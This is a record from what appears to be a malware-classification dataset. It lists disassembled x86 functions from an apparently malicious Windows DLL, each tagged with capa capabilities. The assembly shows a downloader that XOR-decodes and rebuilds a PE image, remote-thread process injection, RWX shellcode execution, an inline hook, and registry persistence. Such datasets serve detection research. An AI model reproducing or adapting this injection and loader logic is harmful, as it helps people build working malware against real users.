joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100175a0
Capabilities:
Check http status code
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
mov eax, 0x1118
call fcn.100225f0
push ebx
push ebp
push esi
push edi
mov ecx, 0x3ff
xor eax, eax
lea edi, [esp + 0x129]
mov byte [esp + 0x128], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x25]
mov byte [esp + 0x24], 0
rep stosd dword es:[edi], eax
xor ebp, ebp
push ebp
push ebp
stosw word es:[edi], ax
push ebp
push 4
push 0x1000383c
mov dword [esp + 0x30], ebp
mov dword [esp + 0x2c], ebp
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
cmp esi, ebp
mov dword [esp + 0x14], esi
je 0x1001774a
mov eax, dword [esp + 0x112c]
push ebp
push 0x4000000
push ebp
push ebp
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
test ebx, ebx
je 0x1001773e
lea ecx, [esp + 0x20]
push ebp
lea edx, [esp + 0x20]
push ecx
push edx
push 0x20000013
push ebx
mov dword [esp + 0x34], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x10017723
cmp dword [esp + 0x1c], 0xc8
jne 0x10017723
lea eax, [esp + 0x10]
lea ecx, [esp + 0x128]
push eax
push 0x1000
push ecx
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10017723
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x100176c8
lea edx, [esp + 0x24]
mov dword [esp + 0x18], 1
push edx
call fcn.1001ab30
test eax, eax
je 0x100176bb
lea eax, [esp + 0x24]
lea ecx, [esp + 0x158]
push eax
push ecx
call fcn.10019410
test eax, eax
jne 0x10017723
lea edx, [esp + 0x158]
push edx
jmp 0x100176c3
lea eax, [esp + 0x158]
push eax
call fcn.1001aab0
cmp ebp, dword [esp + 0x1134]
ja 0x10017723
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x1001773e
mov edx, dword [esp + 0x1130]
mov eax, ecx
lea esi, [esp + 0x128]
lea edi, [edx + ebp]
lea edx, [esp + 0x128]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
add ebp, ecx
lea ecx, [esp + 0x10]
push ecx
push 0x1000
push edx
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
mov esi, dword [esp + 0x14]
jne 0x1001767d
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call edi
push esi
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1118
ret 0x10
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call edi
push esi
call edi
mov eax, dword [esp + 0x1130]
xor ecx, ecx
mov edx, 0x400
mov cx, word [eax]
mov esi, dword [eax + 0x3c]
mov dword [eax + 0x3c], ecx
add ecx, eax
mov edi, dword [ecx]
add ecx, 4
xor edi, esi
dec edx
mov dword [ecx - 4], edi
jne 0x10017763
mov ecx, dword [eax + 0x3c]
mov byte [eax], 0x4d
mov byte [eax + 1], 0x5a
pop edi
mov byte [ecx + eax], 0x50
mov edx, dword [eax + 0x3c]
pop esi
mov byte [edx + eax + 1], 0x45
mov eax, dword [esp + 0x1130]
mov dword [eax], ebp
pop ebp
mov eax, 1
pop ebx
add esp, 0x1118
ret 0x10
Function at 0x10017e10
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x10c
lea edx, [esp + 8]
mov dword [0x1002f0b4], eax
push esi
mov esi, ecx
mov ecx, dword [esp + 0x118]
push 0x104
push edx
push 0
mov dword [0x1002f0b0], ecx
mov dword [0x1002edb8], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0xc]
push 0x5c
push eax
call fcn.100194f0
inc eax
push 0x1000334c
push eax
call fcn.10019410
test eax, eax
je 0x10017ef2
lea ecx, [esp + 0xc]
push ecx
call fcn.1001a900
mov eax, dword [0x1002f0d0]
test eax, eax
je 0x10017e89
mov eax, 1
pop esi
add esp, 0x10c
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0
push 0
push 0x100180e0
push 0x400
push 0
mov dword [0x1002f0d0], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, esi
call fcn.10018040
test eax, eax
je 0x10017ef2
mov eax, dword [0x1002f104]
mov edx, 0x10018020
sub edx, eax
lea ecx, [esp + 4]
sub edx, 5
push 5
mov dword [esp + 9], edx
mov edx, dword [0x1002f0d0]
push ecx
push eax
push edx
mov byte [esp + 0x14], 0xe9
call fcn.10019d20
mov eax, 1
pop esi
add esp, 0x10c
ret 0xc
xor eax, eax
pop esi
add esp, 0x10c
ret 0xc
Function at 0x100193b0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [esp + 4]
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
ret 4

Function at 0x100196f0
Capabilities:
Create http request

Disassembly:
mov eax, 0x1048
call fcn.100225f0
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x400
xor eax, eax
lea edi, [esp + 0x58]
mov dword [esp + 0x54], ebx
push 0x10004ac4
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push 0x10004b98
push eax
mov dword [esp + 0x1c], ebx
call fcn.1002203e
add esp, 0xc
lea ecx, [esp + 0x14]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov ebp, dword [esp + 0x105c]
jne 0x1001975a
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x100197c0
lea edx, [esp + 0x10]
test edx, edx
je 0x10019766
mov ebx, eax
jmp 0x1001976d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x58]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x54], 1
mov eax, ecx
mov esi, edi
mov edi, edx
push 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [esp + 0x58]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
push 0x1004
push edx
push 0x22000f
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [esp + 0x10], 4
push 0
push 0
push 0
push 0
push 0x10004b7c
call ebx
mov esi, eax
test esi, esi
je 0x10019803
push 0
push 0x84000000
push 0
push 0
push ebp
push esi
call edi
test eax, eax
jne 0x10019821
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov ecx, eax
dec eax
test ecx, ecx
mov dword [esp + 0x10], eax
jne 0x100197d4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1048
ret 4
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call edi
push esi
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1048
ret 4
Function at 0x10019840
Capabilities:
Create http request

Disassembly:
mov eax, 0x218c
call fcn.100225f0
push ebx
push ebp
push esi
push edi
mov ecx, 6
mov esi, 0x10004b7c
lea edi, [esp + 0x54]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x3a
lea edi, [esp + 0x6d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor ebx, ebx
mov ecx, 0x207
xor eax, eax
lea edi, [esp + 0x97a]
mov word [esp + 0x978], bx
mov word [esp + 0x158], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x207
xor eax, eax
lea edi, [esp + 0x15a]
mov dword [esp + 0x1198], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x400
xor eax, eax
lea edi, [esp + 0x119c]
push 0x10004ac4
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push 0x10004b98
push eax
mov dword [esp + 0x1c], ebx
call fcn.1002203e
add esp, 0xc
lea ecx, [esp + 0x14]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov ebp, dword [esp + 0x21a0]
jne 0x10019905
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10019976
lea edx, [esp + 0x10]
test edx, edx
je 0x10019911
mov ebx, eax
jmp 0x10019918
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x119c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x1198], 1
mov eax, ecx
mov esi, edi
mov edi, edx
push 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [esp + 0x119c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
push 0x1004
push edx
push 0x22000f
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [esp + 0x978]
push 0x208
push eax
lea ecx, [esp + 0x5c]
push 0xffffffffffffffff
push ecx
push ebx
push ebx
call esi
lea edx, [esp + 0x158]
push 0x208
push edx
push 0xffffffffffffffff
push ebp
push 0
push 0
call esi
mov ebp, dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ebx, 9
push 0
push 0
push 0
lea eax, [esp + 0x984]
push 0
push eax
call ebp
mov esi, eax
test esi, esi
je 0x100199ed
push 0
push 0x4000000
push 0
lea ecx, [esp + 0x164]
push 0
push ecx
push esi
call edi
test eax, eax
jne 0x10019a03
mov edx, ebx
dec ebx
test edx, edx
jne 0x100199bb
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x218c
ret 4
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call edi
push esi
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x218c
ret 4
Function at 0x10019a20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, 0x1004
call fcn.100225f0
push ebx
push esi
mov esi, dword [esp + 0x1014]
push edi
mov edi, dword [esp + 0x1014]
push 0
lea eax, [esp + 0x14]
push 0x1000
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea ecx, [esp + 0xc]
push ecx
push 0x40
push 0x1000
push esi
push edi
call ebx
test eax, eax
je 0x10019a96
mov edx, dword [esp + 0x1020]
mov eax, dword [esp + 0x101c]
push 0
push edx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea ecx, [esp + 0xc]
mov edx, dword [esp + 0xc]
push ecx
push edx
push 0x1000
push esi
push edi
call ebx
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x1004
ret 0x14

Function at 0x10019ba0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [esp + 0x10]
push ebp
mov ebp, dword [sym.imp.WININET.dll_InternetOpenUrlA]
push esi
push edi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 9
push 0
push 0
push 0
push 0
push 0x10004b7c
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
je 0x10019bef
push 0
push 0x4000000
push 0
push 0
push ebx
push edi
call ebp
mov esi, eax
test esi, esi
jne 0x10019c0a
mov eax, dword [esp + 0x10]
mov ecx, eax
dec eax
test ecx, ecx
mov dword [esp + 0x10], eax
jne 0x10019bc1
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 0xc
mov ecx, dword [esp + 0x20]
test ecx, ecx
je 0x10019c28
mov eax, dword [esp + 0x24]
test eax, eax
je 0x10019c28
lea edx, [esp + 0x14]
push edx
push eax
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 8
ret 0xc
Function at 0x10019c50
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebp
push ebp
rep stosd dword es:[edi], eax
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [esp + 0x10]
push eax
push ebx
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, dword [esp + 0x13c]
mov cl, byte [edi]
xor eax, eax
test cl, cl
je 0x10019ca2
mov cl, byte [eax + edi + 1]
inc eax
test cl, cl
jne 0x10019c99
mov cl, byte [esp + 0x34]
xor esi, esi
test cl, cl
je 0x10019cb5
mov cl, byte [esp + esi + 0x35]
inc esi
test cl, cl
jne 0x10019cac
cmp eax, esi
jne 0x10019ce8
xor edx, edx
test esi, esi
jle 0x10019cf9
mov al, byte [edx + edi]
mov cl, byte [esp + edx + 0x34]
cmp al, 0x61
jl 0x10019cd0
cmp al, 0x7a
jg 0x10019cd0
add al, 0xe0
cmp cl, 0x61
jl 0x10019cdd
cmp cl, 0x7a
jg 0x10019cdd
add cl, 0xe0
cmp al, cl
jne 0x10019ce8
inc edx
cmp edx, esi
jge 0x10019cf9
jmp 0x10019cbf
lea ecx, [esp + 0x10]
push ecx
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10019cfd
jmp 0x10019c91
mov ebp, dword [esp + 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x128
ret 4
Function at 0x1001a040
Capabilities:
Encode data using xor
Get common file path
Read file on windows

Disassembly:
sub esp, 0x26c
push ebp
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
mov byte [esp + 0x94], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 0x95]
xor ebp, ebp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x174]
mov dword [esp + 0x10], ebp
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
or ecx, 0xffffffff
xor eax, eax
mov edi, dword [esp + 0x27c]
lea edx, [esp + 0x174]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x80
and ecx, 3
push 3
push eax
push 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
lea eax, [esp + 0x188]
push SysReAllocStringLen
push eax
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x1001a178
lea ecx, [esp + 0xc]
push ebp
push ecx
lea edx, [esp + 0x1c]
push 0x80
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1001a167
xor eax, eax
mov cl, byte [esp + eax + 0x14]
xor cl, 0xea
mov byte [esp + eax + 0x14], cl
inc eax
cmp eax, 0x80
jb 0x1001a116
mov eax, dword [esp + 0x280]
mov ecx, 8
lea esi, [esp + 0x14]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
lea edi, [eax + 0x20]
mov ecx, 8
lea esi, [esp + 0x34]
rep movsd dword es:[edi], dword [esi]
lea edi, [eax + 0x40]
mov ecx, 8
lea esi, [esp + 0x54]
rep movsd dword es:[edi], dword [esi]
lea edi, [eax + 0x60]
mov ecx, 8
lea esi, [esp + 0x74]
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x26c
ret 8
push 0x10004ac4
lea eax, [esp + 0x138]
push 0x10004b98
push eax
call fcn.1002203e
add esp, 0xc
lea ecx, [esp + 0x134]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ecx
call edi
cmp eax, 0xffffffff
jne 0x1001a1bb
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1001a1f7
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0xc]
test edx, edx
je 0x1001a1cd
mov ebp, eax
jmp 0x1001a1d0
push eax
call esi
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x9c]
push 0xa0
push ecx
push 0
push 0
push 0x22000b
push ebp
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ebp
call esi
mov al, byte [esp + 0xb4]
test al, al
je 0x1001a268
mov al, byte [esp + 0xd4]
test al, al
je 0x1001a268
mov eax, dword [esp + 0x280]
mov ecx, 8
lea esi, [esp + 0xb4]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
lea edi, [eax + 0x20]
mov ecx, 8
lea esi, [esp + 0xd4]
rep movsd dword es:[edi], dword [esi]
lea edi, [eax + 0x40]
mov ecx, 8
lea esi, [esp + 0xf4]
rep movsd dword es:[edi], dword [esi]
lea edi, [eax + 0x60]
mov ecx, 8
lea esi, [esp + 0x114]
mov eax, 1
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebp
add esp, 0x26c
ret 8
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x26c
ret 8
Function at 0x1001a280
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp]
push eax
push 0x2001f
push 0
push 0x10004bec
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001a2ce
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
push 0
push 0x2001f
push 0
push 0
push 0
push 0x10004bec
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1001a32e
mov edx, dword [esp + 0xc]
push esi
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push ecx
push edx
push 1
push eax
mov eax, dword [esp + 0x18]
push 0x10004be4
push eax
call esi
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x18]
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [esp + 0xc]
push edx
push 1
push eax
push 0x10004bdc
push ecx
call esi
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 8
ret 8

Function at 0x1001a340
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
lea eax, [esp + 8]
push eax
push 0x2001f
push 0
push 0x10004bec
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001a36b
xor eax, eax
add esp, 0xc
ret 8
mov edx, dword [esp + 0x10]
lea ecx, [esp]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ecx
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push 0x10004be4
push ecx
mov dword [esp + 0x1c], 0x104
mov dword [esp + 0x20], 1
call esi
lea edx, [esp + 4]
lea ecx, [esp + 8]
mov eax, dword [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
push eax
push ecx
push 0
push 0x10004bdc
push edx
mov dword [esp + 0x1c], 0x104
mov dword [esp + 0x20], 1
call esi
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop esi
add esp, 0xc
ret 8
Function at 0x1001a3f0
Capabilities:
Create http request
Delete registry key
Print debug messages
Read data from internet
Receive data

Disassembly:
sub esp, 0x410
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x221]
mov byte [esp + 0x220], bl
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [esp + 0x424]
cmp edi, ebx
je 0x1001a456
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x18]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push 0x2f
push ecx
call fcn.10022090
add esp, 8
cmp eax, ebx
je 0x1001a531
mov byte [eax + 1], bl
mov edi, 0x100016f4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x18]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x42c]
mov ecx, ebp
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x42c]
lea edx, [esp + 0x1c]
push ecx
lea eax, [esp + 0x124]
push edx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [esp + 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ebp, dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x220]
rep stosd dword es:[edi], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], 9
push ebx
push ebx
push ebx
push ebx
push 0x10004b7c
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
cmp esi, ebx
je 0x1001a522
push ebx
push 0x4000000
push ebx
lea edx, [esp + 0x128]
push ebx
push edx
push esi
call ebp
mov edi, eax
cmp edi, ebx
jne 0x1001a540
mov eax, dword [esp + 0x10]
mov ecx, eax
dec eax
test ecx, ecx
mov dword [esp + 0x10], eax
jne 0x1001a4f4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x410
ret 0xc
lea edx, [esp + 0x220]
test edx, edx
je 0x1001a561
lea eax, [esp + 0x14]
lea ecx, [esp + 0x220]
push eax
push 0x20
push ecx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
lea edx, [esp + 0x220]
push 0x100016ec
push edx
call fcn.10028cf0
add esp, 8
test eax, eax
je 0x1001a531
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0x10004bec
push SysReAllocStringLen
call esi
push 0x10004c0c
push SysReAllocStringLen
call esi
push 0x10004bfc
push SysReAllocStringLen
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x410
ret 0xc
Function at 0x1001a750
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x12c
push ebp
lea eax, [esp + 4]
push edi
push eax
push 0x28
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1001a7de
lea ecx, [esp + 0x10]
push ecx
push 0x10004c1c
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x1001a79b
mov edx, dword [esp + 8]
push edx
jmp 0x1001a7dc
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
push 0
push 0
lea edx, [esp + 0x20]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x10]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x30], 1
mov dword [esp + 0x38], ecx
mov dword [esp + 0x3c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1001a7de
mov ecx, dword [esp + 8]
push ecx
call ebp
push 0x10001694
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x1001a7f8
pop edi
pop ebp
add esp, 0x12c
ret 4
push 0x10004c30
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x1001a815
pop edi
pop ebp
add esp, 0x12c
ret 4
mov eax, dword [0x10033e6c]
push esi
lea edx, [esp + 0x34]
push 0x104
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [esp + 0x13c]
push ecx
push 0
push 0x3a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1001a8bf
push ebx
push 0x40
push 0x1000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x1001a8bb
lea edx, [esp + 0x34]
lea eax, [esp + 0x38]
push edx
push 0x104
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1001a8ac
lea ecx, [esp + 0x30]
push ecx
push 0
push ebx
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
test edi, edi
je 0x1001a8ac
push 0x102
push edi
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call ebp
push 0x8000
push 0
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call ebp
pop ebx
mov eax, dword [esp + 0x10]
pop esi
pop edi
pop ebp
add esp, 0x12c
ret 4

Function at 0x1001a9b0
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push 0x10004c48
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1001aa1d
mov ecx, dword [esp + 0xc]
cmp byte [ecx], 0
je 0x1001a9f0
mov dl, byte [eax + ecx + 1]
inc eax
test dl, dl
jne 0x1001a9e7
mov edx, dword [esp]
inc eax
push eax
push ecx
push 1
push 0
push 0x10004c40
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 8
ret 4